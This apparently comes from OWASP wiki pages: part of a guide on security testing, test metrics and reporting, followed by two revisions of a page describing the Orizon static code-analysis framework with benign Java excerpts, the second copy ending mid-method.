Source code analysis and unit tests can validate that the code change mitigates the vulnerability exposed by the previously identified coding defect. The results of automated secure code analysis can also be used as automatic check-in gates for version control: software artifacts cannot be checked into the build with high or medium severity coding issues.

===Functional Testers' Security Tests===
'''Security Testing During the Integration and Validation Phase: Integrated System Tests and Operation Tests''' 
The main objective of integrated system tests is to validate the “defense in depth” concept, that is, that the implementation of security controls provides security at different layers. For example, the lack of input validation when calling a component integrated with the application is often a factor that can be tested with integration testing.

The integration system test environment is also the first environment where testers can simulate real attack scenarios as can be potentially executed by a malicious external or internal user of the application. Security testing at this level can validate whether vulnerabilities are real and can be exploited by attackers. For example, a potential vulnerability found in source code can be rated as high risk because of the exposure to potential malicious users, as well as because of the potential impact (e.g., access to confidential information).
Real attack scenarios can be tested with both manual testing techniques and penetration testing tools. Security tests of this type are also referred to as ethical hacking tests. From the security testing perspective, these are risk driven tests and have the objective to test the application in the operational environment. The target is the application build that is representative of the version of the application being deployed into production.

The execution of security in the integration and validation phase is critical to identifying vulnerabilities due to integration of components as well as validating the exposure of such vulnerabilities. Since application security testing requires a specialized set of skills, which includes both software and security knowledge and is not typical of security engineers, organizations are often required to security-train their software developers on ethical hacking techniques, security assessment procedures and tools. A realistic scenario is to develop such resources in-house and document them in security testing guides and procedures that take into account the developer’s security testing knowledge. A so called “security test cases cheat list or check-list”, for example, can provide simple test cases and attack vectors that can be used by testers to validate exposure to common vulnerabilities such as spoofing, information disclosures, buffer overflows, format strings, SQL injection and XSS injection, XML, SOAP, canonicalization issues, denial of service and managed code and ActiveX controls (e.g., .NET). A first battery of these tests can be performed manually with a very basic knowledge of software security. The first objective of security tests might be the validation of a set of minimum security requirements. These security test cases might consist of manually forcing the application into error and exceptional states, and gathering knowledge from the application behavior. For example, SQL injection vulnerabilities can be tested manually by injecting attack vectors through user input and by checking if SQL exceptions are thrown back the user. The evidence of a SQL exception error might be a manifestation of a vulnerability that can be exploited. A more in-depth security test might require the tester’s knowledge of specialized testing techniques and tools. Besides source code analysis and penetration testing, these techniques include, for example, source code and binary fault injection, fault propagation analysis and code coverage, fuzz testing, and reverse engineering. The security testing guide should provide procedures and recommend tools that can be used by security testers to perform such in-depth security assessments.

The next level of security testing after integration system tests is to perform security tests in the user acceptance environment. There are unique advantages to performing security tests in the operational environment. The user acceptance tests environment (UAT) is the one that is most representative of the release configuration, with the exception of the data (e.g., test data is used in place of real data). A characteristic of security testing in UAT is testing for security configuration issues. In some cases these vulnerabilities might represent high risks. For example, the server that hosts the web application might not be configured with minimum privileges, valid SSL certificate and secure configuration, essential services disabled and web root directory not cleaned from test and administration web pages.

===Security Test Data Analysis and Reporting===
'''Goals for Security Test Metrics and Measurements''' 
The definition of the goals for the security testing metrics and measurements is a pre-requisite for using security testing data for risk analysis and management processes. For example, a measurement such as the total number of vulnerabilities found with security tests might quantify the security posture of the application. These measurements also help to identify security objectives for software security testing: for example, reducing the number of vulnerabilities to an acceptable number (minimum) before the application is deployed into production.

Another manageable goal could be to compare the application security posture against a baseline to assess improvements in application security processes. For example, the security metrics baseline might consist of an application that was tested only with penetration tests. The security data obtained from an application that was also security tested during coding should show an improvement (e.g., fewer number of vulnerabilities) when compared with the baseline.

In traditional software testing, the number of software defects, such as the bugs found in an application, could provide a measure of software quality. Similarly, security testing can provide a measure of software security. From the defect management and reporting perspective, software quality and security testing can use similar categorizations for root causes and defect remediation efforts. From the root cause perspective, a security defect can be due to an error in design (e.g., security flaws) or due to an error in coding (e.g., security bug). From the perspective of the effort required to fix a defect, both security and quality defects can be measured in terms of developer hours to implement the fix, the tools and resources required to fix, and, finally, the cost to implement the fix.

A characteristic of security test data, compared to quality data, is the categorization in terms of the threat, the exposure of the vulnerability, and the potential impact posed by the vulnerability to determine the risk. Testing applications for security consists of managing technical risks to make sure that the application countermeasures meet acceptable levels. For this reason, security testing data needs to support the security risk strategy at critical checkpoints during the SDLC. For example, vulnerabilities found in source code with source code analysis represent an initial measure of risk. Such measure of risk (e.g., high, medium, low) for the vulnerability can be calculated by determining the exposure and likelihood factors and, further, by validating such vulnerability with penetration tests. The risk metrics associated to vulnerabilities found with security tests empower business management to make risk management decisions, such as to decide whether risks can be accepted, mitigated, or transferred at different levels within the organization (e.g., business as well as technical).

When evaluating the security posture of an applications, it is important to take into consideration certain factors, such as the size of the application being developed. Application size has been statistically proven to be related to the number of issues found in the application with tests. One measure of application size is the number of line of code (LOC) of the application. Typically, software quality defects range from about 7 to 10 defects per thousand lines of new and changed code [21]. Since testing can reduce the overall number by about 25% with one test alone, it is logical for larger size applications to be tested more and more often than smaller size applications.

When security testing is done in several phases of the SDLC, the test data could prove the capability of the security tests in detecting vulnerabilities as soon as they are introduced, and prove the effectiveness of removing them by implementing countermeasures at different checkpoints of the SDLC. A measurement of this type is also defined as “containment metrics” and provides a measure of the ability of a security assessment performed at each phase of the development process to maintain security within each phase. These containment metrics are also a critical factor in lowering the cost of fixing the vulnerabilities, since it is less expensive to deal with the vulnerabilities when they are found (in the same phase of the SDLC), rather then fixing them later in another phase.

Security test metrics can support security risk, cost, and defect management analysis when it is associated with tangible and timed goals such as:
*Reducing the overall number of vulnerabilities by 30%
*Security issues are expected to be fixed by a certain deadline (e.g., before beta release)

Security test data can be absolute, such as the number of vulnerabilities detected during manual code review, as well as comparative, such as the number of vulnerabilities detected in code reviews vs. penetration tests. To answer questions about the quality of the security process, it is important to determine a baseline for what could be considered acceptable and good.

Security test data can also support specific objectives of the security analysis such as compliance with security regulations and information security standards, management of security processes, the identification of security root causes and process improvements, and security costs vs. benefits analysis.

When security test data is reported it has to provide metrics to support the analysis. The scope of the analysis is the interpretation of test data to find clues about the security of the software being produced as well the effectiveness of the process.
Some examples of clues supported by security test data can be:
*Are vulnerabilities reduced to an acceptable level for release?
*How does the security quality of this product compare with similar software products?
*Are all security test requirements being met?
*What are the major root causes of security issues?
*How numerous are security flaws compared to security bugs?
*Which security activity is most effective in finding vulnerabilities?
*Which team is more productive in fixing security defects and vulnerabilities?
*Which percentage of overall vulnerabilities are high risk?
*Which tools are most effective in detecting security vulnerabilities?
*Which kind of security tests are most effective in finding vulnerabilities (e.g., white box vs. black box) tests?
*How many security issues are found during secure code reviews?
*How many security issues are found during secure design reviews?

In order to make a sound judgment using the testing data, it is important to have a good understanding of the testing process as well as the testing tools. A tool taxonomy should be adopted to decide which security tools should be used. Security tools can be qualified as being good at finding common known vulnerabilities targeting different artifacts.
The issue is that the unknown security issues are not tested: the fact that you come out clean it does not mean that your software or application is good. Some studies [22] have demonstrated that, at best, tools can find 45% of overall vulnerabilities.

Even the most sophisticated automation tools are not a match for an experienced security tester: just relying on successful test results from automation tools will give security practitioners a false sense of security. Typically, the more experienced the security testers are with the security testing methodology and testing tools, the better the results of the security test and analysis will be. It is important that managers making an investment in security testing tools also consider an investment in hiring skilled human resources as well as security test training.

'''Reporting Requirements''' 
The security posture of an application can be characterized from the perspective of the effect, such as number of vulnerabilities and the risk rating of the vulnerabilities, as well as from the perspective of the cause (i.e., origin) such as coding errors, architectural flaws, and configuration issues.

Vulnerabilities can be classified according to different criteria. This can be a statistical categorization, such as the OWASP Top 10 and WASC (Web Application Security Statistics) project, or related to defensive controls as in the case of WASF (Web Application Security Framework) categorization.

When reporting security test data, the best practice is to include the following information, besides the categorization of each vulnerability by type:
*The security threat that the issue is exposed to
*The root cause of security issues (e.g., security bugs, security flaw)
*The testing technique used to find it
*The remediation of the vulnerability (e.g., the countermeasure)
*The risk rating of the vulnerability (High, Medium, Low)

By describing what the security threat is, it will be possible to understand if and why the mitigation control is ineffective in mitigating the threat.

Reporting the root cause of the issue can help pinpoint what needs to be fixed: in the case of a white box testing, for example, the software security root cause of the vulnerability will be the offending source code.

Once issues are reported, it is also important to provide guidance to the software developer on how to re-test and find the vulnerability. This might involve using a white box testing technique (e.g., security code review with a static code analyzer) to find if the code is vulnerable. If a vulnerability can be found via a black box technique (penetration test), the test report also needs to provide information on how to validate the exposure of the vulnerability to the front end (e.g., client).

The information about how to fix the vulnerability should be detailed enough for a developer to implement a fix. It should provide secure coding examples, configuration changes, and provide adequate references.

Finally the risk rating helps to prioritize the remediation effort. Typically, assigning a risk rating to the vulnerability involves a risk analysis based upon factors such as impact and exposure.

'''Business Cases''' 
For the security test metrics to be useful, they need to provide value back to the organization's security test data stakeholders, such as project managers, developers, information security offices, auditors, and chief information officers. The value can be in terms of the business case that each project stakeholder has in terms of role and responsibility.

Software developers look at security test data to show that software is coded more securely and efficiently, so that they can make the case of using source code analysis tools as well as following secure coding standards and attending software security training.

Project managers look for data that allows them to successfully manage and utilize security testing activities and resources according to the project plan. To project managers, security test data can show that projects are on schedule and moving on target for delivery dates and are getting better during tests.

Security test data also helps the business case for security testing if the initiative comes from information security officers (ISOs). For example, it can provide evidence that security testing during the SDLC does not impact the project delivery, but rather reduces the overall workload needed to address vulnerabilities later in production.

To compliance auditors, security test metrics provide a level of software security assurance and confidence that security standard compliance is addressed through the security review processes within the organization.

Finally, Chief Information Officers (CIOs) and Chief Information Security Officers (CISOs), responsible for the budget that needs to be allocated in security resources, look for derivation of a cost/benefit analysis from security test data to make informed decisions on which security activities and tools to invest. One of the metrics that support such analysis is the Return On Investment (ROI) in Security [23]. To derive such metrics from security test data, it is important to quantify the differential between the risk due to the exposure of vulnerabilities and the effectiveness of the security tests in mitigating the security risk, and factor this gap with the cost of the security testing activity or the testing tools adopted.

== References ==
[1] T. DeMarco, ''Controlling Software Projects: Management, Measurement and Estimation'', Yourdon Press, 1982

[2] S. Payne, ''A Guide to Security Metrics'' - http://www.sans.org/reading_room/whitepapers/auditing/55.php

[3] NIST, ''The economic impacts of inadequate infrastructure for software testing'' - http://www.nist.gov/public_affairs/releases/n02-10.htm

[4] Ross Anderson, ''Economics and Security Resource Page'' - http://www.cl.cam.ac.uk/users/rja14/econsec.html

[5] Denis Verdon, ''Teaching Developers To Fish'' - [[OWASP AppSec NYC 2004]]

[6] Bruce Schneier, ''Cryptogram Issue #9'' - http://www.schneier.com/crypto-gram-0009.html

[7] Symantec, ''Threat Reports'' - http://www.symantec.com/business/theme.jsp?themeid=threatreport

[8] FTC, ''The Gramm-Leach Bliley Act'' - http://www.ftc.gov/privacy/privacyinitiatives/glbact.html

[9] Senator Peace and Assembly Member Simitian, ''SB 1386''- http://www.leginfo.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_chaptered.html

[10] European Union, ''Directive 96/46/EC on the protection of individuals with regard to the processing of personal data and on the free movement of such data'' -
http://ec.europa.eu/justice_home/fsj/privacy/docs/95-46-ce/dir1995-46_part1_en.pdf

[11] NIST, '' Risk management guide for information technology systems'' - http://csrc.nist.gov/publications/nistpubs/800-30/sp800-30.pdf

[12] SEI, Carnegie Mellon, ''Operationally Critical Threat, Asset, and Vulnerability Evaluation (OCTAVE)'' - http://www.cert.org/octave/

[13] Ken Thompson, ''Reflections on Trusting Trust, Reprinted from Communication of the ACM '' - http://cm.bell-labs.com/who/ken/trust.html''

[14] Gary McGraw, ''Beyond the Badness-ometer'' - http://www.ddj.com/security/189500001

[15] FFIEC, '' Authentication in an Internet Banking Environment'' - http://www.ffiec.gov/pdf/authentication_guidance.pdf

[16] PCI Security Standards Council, ''PCI Data Security Standard'' -https://www.pcisecuritystandards.org/security_standards/pci_dss.shtml

[17] MSDN, ''Cheat Sheet: Web Application Security Frame'' - http://msdn.microsoft.com/en-us/library/ms978518.aspx#tmwacheatsheet_webappsecurityframe

[18] MSDN, ''Improving Web Application Security, Chapter 2, Threat And Countermeasures'' - http://msdn.microsoft.com/en-us/library/aa302418.aspx

[19] Gil Regev, Ian Alexander,Alain Wegmann, ''Use Cases and Misuse Cases Model the Regulatory Roles of Business Processes'' - http://easyweb.easynet.co.uk/~iany/consultancy/regulatory_processes/regulatory_processes.htm

[20] Sindre,G. Opdmal A., '' Capturing Security Requirements Through Misuse Cases ' - http://folk.uio.no/nik/2001/21-sindre.pdf

[21] Security Across the Software Development Lifecycle Task Force, ''Referred Data from Caper Johns, Software Assessments, Benchmarks and Best Practices'' -http://www.cyberpartnership.org/SDLCFULL.pdf

[22] MITRE, ''Being Explicit About Weaknesses, Slide 30, Coverage of CWE'' -http://cwe.mitre.org/documents/being-explicit/BlackHatDC_BeingExplicit_Slides.ppt

[23] Marco Morana, ''Building Security Into The Software Life Cycle, A Business Case'' - http://www.blackhat.com/presentations/bh-usa-06/bh-us-06-Morana-R3.0.pdf

The Owasp Orizon Framework

2009-05-22T13:07:43Z

KirstenS: /* Reference */

[[OWASP Code Review Guide Table of Contents]]__TOC__
[[Category:OWASP Code Review Project]]

== Introduction ==
A lot of open source projects exist in the wild, performing static code review analysis. This is good, it means that source code testing for security issues is becoming a constraint.

Such tools bring a lot of valuable points:
* community support
* source code freely available to anyone
* costs

On the other side, these tools don't share the most valuable point among them: the security knowledge. All these tools have their own security library, containing a lot of checks, without sharing such knowledge.

In 2006, the Owasp Orizon project wass born to provide a common underlying layer to all opensource projects concerning static analysis.

Orizon project includes:
* a set of APIs that developers can use to build their own security tool performing static analysis.
* a security library with checks to apply to source code.
* a tool, Milk, which is able to static analyze a source code using Orizon Framework.

== The Owasp Orizon Architecture ==
In the following picture, the Owasp Orizon version 1.0 architecture is shown. As you may see, the framework is organized in engines that perform tasks over the source code and a block of tools that are deployed out of the box in order to use the APIs in a real world static analysis.

[[Image:Owasp_Orizon_Architecture_v1.0.png|400px|The Owasp Orizon v1.0 architecture]]

With all such elements, a developer can be scared to use the framework; that's why a special entity called SkyLine was created. Before going further into SkyLine analysis, it's very important to understand all the elements Orizon is made of.

=== Your personal butler: the SkyLine class ===
Named '''core''' in the architectural picture, the SkyLine object is one of the most valuable services in Orizon version 1.0.

The idea behind SkyLine is simple: as the Orizon architecture becomes wider, regular developers may be scared about understanding a lot of APIs in order to build their security tool, so we can help them providing "per service" support.

Using SkyLine object, developers can request services from the Orizon framework waiting for their accomplishment.

The main SkyLine input is:

'''public boolean launch(String service)'''

Passing the requested service as string parameter, the calling program will receive a boolean true return value if the service can be accomplished or a false value otherwise.

The service name is compared to the ones understood by the framework:

'''private int goodService(String service) {
''' int ret = -1;
''' if (service.equalsIgnoreCase("init"))
''' ret = Cons.OC_SERVICE_INIT_FRAMEWORK;
''' if (service.equalsIgnoreCase("translate"))
''' ret = Cons.OC_SERVICE_INIT_TRANSLATE;
''' if (service.equalsIgnoreCase("static_analysis"))
''' ret = Cons.OC_SERVICE_STATIC_ANALYSIS;
''' if (service.equalsIgnoreCase("score"))
''' ret = Cons.OC_SERVICE_SCORE;
''' return ret;
'''}

The secondary feature introduced in this first major framework release is the support for command line option given to the user.

If the calling program passes command line option to Orizon framework using SkyLine, the framework will be tuned accordingly to the given values.

This example will explain better:

'''public static void main(String[] args) {
''' String fileName = "";
''' OldRecipe r;
''' DefaultLibrary dl;
'''
''' SkyLine skyLine = new SkyLine(args);

That's all folks! Internally, the SkyLine constructor, when it creates a code review session, uses the values it was able to understand from command line.

The command line format must follow this convention

''' -o orizon_key=value
or the long format
''' --orizon orizon_key=value

And these are the keys that the framework cares about:
* "input-name"
* "input-kind"
* "working-dir"
* "lang"
* "recurse"
* "output-format"
* "scan-type";

The org.owasp.orizon.Cons class contains a detailed section about these keys with some comments and with their default value.

The only side effect is that calling program can use -o flag for its purpose.

SkyLine is contained in the org.owasp.orizon package.

=== Give me something to remind: the Session class ===
Another big feature introduced in Owasp Orizon version 1.0 is the code review session concept. One of the missing features in earlier versions was the capability to track the state of the code review process.

A Session class instance contains all the properties specified using SkyLine and it is their owner giving access to properties upon request. It contains a SessionInfo array containing information about each file being reviewed.

Ideally, a user tool will never call Session directly, but it must use SkyLine as interface. Of course anyone is free to override this suggestion.

Looking at the launch() method code, inside the SkyLine class, you can look how session instance is prompted to execute services.

'''public boolean launch(String service) {
''' int code, stats;
''' boolean ret = false;
'''
''' if ( (code = goodService(service)) == -1)
''' return log.error("unknown service: " + service);
''' switch (code) {
''' // init service
''' case Cons.OC_SERVICE_INIT_FRAMEWORK:
''' ret = session.init();
''' break;
''' // translation service
''' case Cons.OC_SERVICE_INIT_TRANSLATE:
''' stats = session.collectStats();
''' if (stats > 0) {
''' log.warning(stats + " files failed in collecting statistics.");
''' ret = false;
''' } else
''' ret = true;
''' break;
''' // static analysis service
''' case Cons.OC_SERVICE_STATIC_ANALYSIS:
''' ret = session.staticReview();
''' break;
''' // score service
''' case Cons.OC_SERVICE_SCORE:
''' break;
''' default:
''' return log.error("unknown service: " + service);
''' }
''' return ret;
'''}

Internally, the Session instance will ask each SessionInfo object to execute services. Let us consider the Session class method that executes the static analysis service.

'''/**
''' * Starts a static analysis over the files being reviewed
''' *
''' * @return true if static analysis can be performed or false
''' * if one or more files fail being analyzed.
''' */
'''public boolean staticReview() {
''' boolean ret = true;
''' if (!active)
''' return log.error("can't perform a static analysis over an inactive session.");
''' for (int i = 0; i < sessions.length; i++) {
''' if (! sessions[i].staticReview())
''' ret = false;
''' }
''' return ret;
'''}

Where sessions variable is declared as:
'''private SessionInfo[] sessions;

As you may see, the Session object delegates service accomplishment to SessionInfo once collecting the final results.

In fact, SessionInfo objects are the ones talking with Orizon internals performing the real work.

The following method is stolen from org.owasp.orizon.SessionInfo class.

'''/**
''' * Perform a static analysis over the given file
''' *
''' * A full static analysis is a mix from:
''' *
''' * * local analysis (control flow)
''' * * global analysis (call graph)
''' * * taint propagation
''' * * statistics
''' *
''' *
''' * @return true if the file being reviewed doesn't violate any
''' * security check, false otherwise.
''' */
''' public boolean staticReview() {
''' boolean ret = false;
''' s = new Source(getStatFileName());
''' ret = s.analyzeStats();
''' ...
''' return ret;
''' }

=== The Translation Factory ===
One of the Owasp Orizon goals is to be independent from the source language being analyzed. This means that Owasp Orizon will support:
* Java
* C, C++
* C#
* Perl
* ...
Such support is granted using an intermediate file format to describe the source code and used to apply the security checks. Such format is XML language.

A source code, before static analysis is started, is translated into XML. Starting from version 1.0, each source code is translated in 4 XML files:

* an XML file containing statistical information
* an XML file containing variables tracking information
* an XML file containing program control flow (local analysis)
* an XML file containing call graph (global analysis)

At the time this document is written (Owasp Orizon v1.0pre1, September 2008), only the Java programming language is supported, however other programming language will follow soon.

Translation phase is requested from org.owasp.orizon.SessionInfo.inspect() method. Depending on the source file language, the appropriate Translator is called and the scan() method is called.

''' /**
''' * Inspects the source code, building AST trees
''' * @return
''' */
''' public boolean inspect() {
''' boolean ret = false;
''' switch (language) {
''' case Cons.O_JAVA:
''' t = new JavaTranslator();
''' if (!t.scan(getInFileName()))
''' return log.error("can't scan " + getInFileName() + ".");
''' ret = true;
''' break;
''' default:
''' log.error("can't inspect language: " + Cons.name(language));
''' break;
''' }
''' return ret;
''' }

Scan method is an abstract method defined in org.owasp.orizon.translator.DefaultTranslator class and declared as the following:

''' public abstract boolean scan(String in);

Every class implementing DefaultTranslator must implement how to scan the source file and build ASTs in this method.

Aside from scan() method, there are four abstract method needful to create XML input files.

''' public abstract boolean statService(String in, String out);
''' public abstract boolean callGraphService(String in, String out);
''' public abstract boolean dataFlowService(String in, String out);
''' public abstract boolean controlFlowService(String in, String out);

All these methods are called in the translator() method, the one implemented directly from DefaultTranslator class.

''' public final boolean translate(String in, String out, int service) {
''' if (!isGoodService(service))
''' return false;
''' if (!scanned)
''' if (!scan(in))
''' return log.error(in+ ": scan has been failed");
''' switch (service) {
''' case Cons.OC_TRANSLATOR_STAT:
''' return statService(in, out);
''' case Cons.OC_TRANSLATOR_CF:
''' return controlFlowService(in, out);
''' case Cons.OC_TRANSLATOR_CG:
''' return callGraphService(in, out);
''' case Cons.OC_TRANSLATOR_DF:
''' return dataFlowService(in, out);
''' default:
''' return log.error("unknown service code");
''' }
''' }

So, when a language specific translator is prompted for translate() method, this recalls the language specific service methods.

Every translator contains as private field, a language specific scanner containing ASTs to be used in input file generation.

Consider org.owasp.orizon.translator.java.JavaTranslator class, it is declared as follows:

''' public class JavaTranslator extends DefaultTranslator {
''' static SourcePositions positions;
''' private JavaScanner j;
''' ...

JavaScanner is a class from org.owasp.orizon.translator.java package and it uses Sun JDK 6 Compiler API to scan a Java file creating in memory ASTs. Trees are created in scan() method, implemented for Java source language as follow:

''' public final boolean scan(String in) {
''' boolean ret = false;
''' String[] parms = { in };
''' Trees trees;
'''
''' JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
''' if (compiler == null)
''' return log.error("I can't find a suitable JAVA compiler. Is a JDK installed?");
'''
''' DiagnosticCollector<JavaFileObject> diagnostics = new DiagnosticCollector<JavaFileObject>();
''' StandardJavaFileManager fileManager = compiler.getStandardFileManager(diagnostics, null, null);
''' Iterable<? extends JavaFileObject> fileObjects = fileManager.getJavaFileObjects(parms);
'''
''' JavacTask task = (com.sun.source.util.JavacTask) compiler.getTask(null,fileManager, diagnostics, null, null, fileObjects);
'''
''' try {
''' trees = Trees.instance(task);
''' positions = trees.getSourcePositions();
''' Iterable<? extends CompilationUnitTree> asts = task.parse();
''' for (CompilationUnitTree ast : asts) {
''' j = new JavaScanner(positions, ast);
''' j.scan(ast, null);
''' }
''' scanned = true;
''' return true;
''' } catch (IOException e) {
''' return log.fatal("an exception occured while translate " + in + ": " +e.getLocalizedMessage());
''' }
''' }

===Statistical Gathering ===
To implement statistic information gathering, DefaultTranslator abstract method statService() must be implemented. In the following example, the method is the JavaTranslator's. Statistics information is stored in the JavaScanner object itself and retrieved by getStats() method.

''' public final boolean statService(String in, String out) {
''' boolean ret = false;
'''
''' if (!scanned)
''' return log.error(in + ": call scan() before asking translation...");
''' log.debug(". Entering statService(): collecting stats for: " + in);
''' try {
''' createXmlFile(out);
''' xmlInit();
''' xml("<source name=\"" + in+"\" >");
''' xml(j.getStats());
''' xml("</source>");
''' xmlEnd();
'''
''' } catch (FileNotFoundException e) {
''' } catch (UnsupportedEncodingException e) {
''' } catch (IOException e) {
''' ret = log.error("an exception occured: " + e.getMessage());
''' }
''' ret = true;
''' log.debug("stats written into: " + out);
''' log.debug(". Leaving statService()");
''' return ret;
''' }

== Reference ==

To anyone interested in Owasp Orizon framework, you can use the following links:
* main page @ Owasp: [[::Category:OWASP_Orizon_Project|OWASP Orizon Project]]
* main site @ SourceForge: [http://orizon.sourceforge.net http://orizon.sourceforge.net]
* blog: [http://orizon.sourceforget.net/blog http://orizon.sourceforge.net/blog]
* author page @ Owasp: [http://www.owasp.org/index.php/User:Thesp0nge http://www.owasp.org/index.php/User:Thesp0nge]

You can drop also a line to Orizon author: [mailto:thesp0nge@owasp.org thesp0nge@owasp.org]
'''foo'''

The Owasp Orizon Framework

2009-05-22T13:07:10Z

KirstenS: /* Reference */

[[OWASP Code Review Guide Table of Contents]]__TOC__
[[Category:OWASP Code Review Project]]

== Introduction ==
A lot of open source projects exist in the wild, performing static code review analysis. This is good, it means that source code testing for security issues is becoming a constraint.

Such tools bring a lot of valuable points:
* community support
* source code freely available to anyone
* costs

On the other side, these tools don't share the most valuable point among them: the security knowledge. All these tools have their own security library, containing a lot of checks, without sharing such knowledge.

In 2006, the Owasp Orizon project wass born to provide a common underlying layer to all opensource projects concerning static analysis.

Orizon project includes:
* a set of APIs that developers can use to build their own security tool performing static analysis.
* a security library with checks to apply to source code.
* a tool, Milk, which is able to static analyze a source code using Orizon Framework.

== The Owasp Orizon Architecture ==
In the following picture, the Owasp Orizon version 1.0 architecture is shown. As you may see, the framework is organized in engines that perform tasks over the source code and a block of tools that are deployed out of the box in order to use the APIs in a real world static analysis.

[[Image:Owasp_Orizon_Architecture_v1.0.png|400px|The Owasp Orizon v1.0 architecture]]

With all such elements, a developer can be scared to use the framework; that's why a special entity called SkyLine was created. Before going further into SkyLine analysis, it's very important to understand all the elements Orizon is made of.

=== Your personal butler: the SkyLine class ===
Named '''core''' in the architectural picture, the SkyLine object is one of the most valuable services in Orizon version 1.0.

The idea behind SkyLine is simple: as the Orizon architecture becomes wider, regular developers may be scared about understanding a lot of APIs in order to build their security tool, so we can help them providing "per service" support.

Using SkyLine object, developers can request services from the Orizon framework waiting for their accomplishment.

The main SkyLine input is:

'''public boolean launch(String service)'''

Passing the requested service as string parameter, the calling program will receive a boolean true return value if the service can be accomplished or a false value otherwise.

The service name is compared to the ones understood by the framework:

'''private int goodService(String service) {
''' int ret = -1;
''' if (service.equalsIgnoreCase("init"))
''' ret = Cons.OC_SERVICE_INIT_FRAMEWORK;
''' if (service.equalsIgnoreCase("translate"))
''' ret = Cons.OC_SERVICE_INIT_TRANSLATE;
''' if (service.equalsIgnoreCase("static_analysis"))
''' ret = Cons.OC_SERVICE_STATIC_ANALYSIS;
''' if (service.equalsIgnoreCase("score"))
''' ret = Cons.OC_SERVICE_SCORE;
''' return ret;
'''}

The secondary feature introduced in this first major framework release is the support for command line option given to the user.

If the calling program passes command line option to Orizon framework using SkyLine, the framework will be tuned accordingly to the given values.

This example will explain better:

'''public static void main(String[] args) {
''' String fileName = "";
''' OldRecipe r;
''' DefaultLibrary dl;
'''
''' SkyLine skyLine = new SkyLine(args);

That's all folks! Internally, the SkyLine constructor, when it creates a code review session, uses the values it was able to understand from command line.

The command line format must follow this convention

''' -o orizon_key=value
or the long format
''' --orizon orizon_key=value

And these are the keys that the framework cares about:
* "input-name"
* "input-kind"
* "working-dir"
* "lang"
* "recurse"
* "output-format"
* "scan-type";

The org.owasp.orizon.Cons class contains a detailed section about these keys with some comments and with their default value.

The only side effect is that calling program can use -o flag for its purpose.

SkyLine is contained in the org.owasp.orizon package.

=== Give me something to remind: the Session class ===
Another big feature introduced in Owasp Orizon version 1.0 is the code review session concept. One of the missing features in earlier versions was the capability to track the state of the code review process.

A Session class instance contains all the properties specified using SkyLine and it is their owner giving access to properties upon request. It contains a SessionInfo array containing information about each file being reviewed.

Ideally, a user tool will never call Session directly, but it must use SkyLine as interface. Of course anyone is free to override this suggestion.

Looking at the launch() method code, inside the SkyLine class, you can look how session instance is prompted to execute services.

'''public boolean launch(String service) {
''' int code, stats;
''' boolean ret = false;
'''
''' if ( (code = goodService(service)) == -1)
''' return log.error("unknown service: " + service);
''' switch (code) {
''' // init service
''' case Cons.OC_SERVICE_INIT_FRAMEWORK:
''' ret = session.init();
''' break;
''' // translation service
''' case Cons.OC_SERVICE_INIT_TRANSLATE:
''' stats = session.collectStats();
''' if (stats > 0) {
''' log.warning(stats + " files failed in collecting statistics.");
''' ret = false;
''' } else
''' ret = true;
''' break;
''' // static analysis service
''' case Cons.OC_SERVICE_STATIC_ANALYSIS:
''' ret = session.staticReview();
''' break;
''' // score service
''' case Cons.OC_SERVICE_SCORE:
''' break;
''' default:
''' return log.error("unknown service: " + service);
''' }
''' return ret;
'''}

Internally, the Session instance will ask each SessionInfo object to execute services. Let us consider the Session class method that executes the static analysis service.

'''/**
''' * Starts a static analysis over the files being reviewed
''' *
''' * @return true if static analysis can be performed or false
''' * if one or more files fail being analyzed.
''' */
'''public boolean staticReview() {
''' boolean ret = true;
''' if (!active)
''' return log.error("can't perform a static analysis over an inactive session.");
''' for (int i = 0; i < sessions.length; i++) {
''' if (! sessions[i].staticReview())
''' ret = false;
''' }
''' return ret;
'''}

Where sessions variable is declared as:
'''private SessionInfo[] sessions;

As you may see, the Session object delegates service accomplishment to SessionInfo once collecting the final results.

In fact, SessionInfo objects are the ones talking with Orizon internals performing the real work.

The following method is stolen from org.owasp.orizon.SessionInfo class.

'''/**
''' * Perform a static analysis over the given file
''' *
''' * A full static analysis is a mix from:
''' *
''' * * local analysis (control flow)
''' * * global analysis (call graph)
''' * * taint propagation
''' * * statistics
''' *
''' *
''' * @return true if the file being reviewed doesn't violate any
''' * security check, false otherwise.
''' */
''' public boolean staticReview() {
''' boolean ret = false;
''' s = new Source(getStatFileName());
''' ret = s.analyzeStats();
''' ...
''' return ret;
''' }

=== The Translation Factory ===
One of the Owasp Orizon goals is to be independent from the source language being analyzed. This means that Owasp Orizon will support:
* Java
* C, C++
* C#
* Perl
* ...
Such support is granted using an intermediate file format to describe the source code and used to apply the security checks. Such format is XML language.

A source code, before static analysis is started, is translated into XML. Starting from version 1.0, each source code is translated in 4 XML files:

* an XML file containing statistical information
* an XML file containing variables tracking information
* an XML file containing program control flow (local analysis)
* an XML file containing call graph (global analysis)

At the time this document is written (Owasp Orizon v1.0pre1, September 2008), only the Java programming language is supported, however other programming language will follow soon.

Translation phase is requested from org.owasp.orizon.SessionInfo.inspect() method. Depending on the source file language, the appropriate Translator is called and the scan() method is called.

''' /**
''' * Inspects the source code, building AST trees
''' * @return
''' */
''' public boolean inspect() {
''' boolean ret = false;
''' switch (language) {
''' case Cons.O_JAVA:
''' t = new JavaTranslator();
''' if (!t.scan(getInFileName()))
''' return log.error("can't scan " + getInFileName() + ".");
''' ret = true;
''' break;
''' default:
''' log.error("can't inspect language: " + Cons.name(language));
''' break;
''' }
''' return ret;
''' }

Scan method is an abstract method defined in org.owasp.orizon.translator.DefaultTranslator class and declared as the following:

''' public abstract boolean scan(String in);

Every class implementing DefaultTranslator must implement how to scan the source file and build ASTs in this method.

Aside from scan() method, there are four abstract method needful to create XML input files.

''' public abstract boolean statService(String in, String out);
''' public abstract boolean callGraphService(String in, String out);
''' public abstract boolean dataFlowService(String in, String out);
''' public abstract boolean controlFlowService(String in, String out);

All these methods are called in the translator() method, the one implemented directly from DefaultTranslator class.

''' public final boolean translate(String in, String out, int service) {
''' if (!isGoodService(service))
''' return false;
''' if (!scanned)
''' if (!scan(in))
''' return log.error(in+ ": scan has been failed");
''' switch (service) {
''' case Cons.OC_TRANSLATOR_STAT:
''' return statService(in, out);
''' case Cons.OC_TRANSLATOR_CF:
''' return controlFlowService(in, out);
''' case Cons.OC_TRANSLATOR_CG:
''' return callGraphService(in, out);
''' case Cons.OC_TRANSLATOR_DF:
''' return dataFlowService(in, out);
